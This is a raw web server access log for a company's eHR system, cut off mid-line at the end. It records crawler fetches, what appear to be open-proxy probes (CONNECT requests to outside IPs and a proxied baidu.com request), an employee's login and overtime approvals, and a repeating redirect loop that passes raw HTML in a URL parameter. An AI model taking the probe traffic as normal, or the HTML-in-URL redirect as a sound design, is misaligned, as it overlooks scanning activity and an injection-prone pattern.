AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 200 1066 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 "http://hcp.maglayers.com.cn:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/136.0.0.0 Safari/537.36" 100.64.0.1 - - [01/Dec/2025:05:24:23 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 200 1108 100.64.0.1 - - [01/Dec/2025:06:01:29 +0800] "CONNECT 1.1.1.1:443 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:29 +0800] "CONNECT 1.1.1.1:443 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:01:31 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:31 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:01:34 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:34 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:01:37 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:37 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:01:40 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:40 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:01:42 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:42 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:01:46 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:46 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:01:49 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:49 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:01:51 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:51 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:01:55 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:55 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:01:58 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:01:58 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:02:01 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:02:01 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:02:04 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:02:04 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:02:08 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:02:08 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:02:11 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:02:11 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:02:15 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:02:15 +0800] "CONNECT 196.251.100.102:80 HTTP/1.0" 405 225 100.64.0.1 - - [01/Dec/2025:06:51:50 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [01/Dec/2025:06:51:50 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 192.168.40.34 - - [01/Dec/2025:06:54:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.40.34 - - [01/Dec/2025:06:54:32 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:32 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.34 - - [01/Dec/2025:06:54:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.40.34 - - [01/Dec/2025:06:54:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 61113 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 61113 192.168.40.34 - - [01/Dec/2025:06:54:44 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:44 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132635%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132635&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132635%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132635&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:44 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:44 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132636%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132636&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132636%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132636&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:47 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.34 - - [01/Dec/2025:06:54:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.34 - - [01/Dec/2025:06:54:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 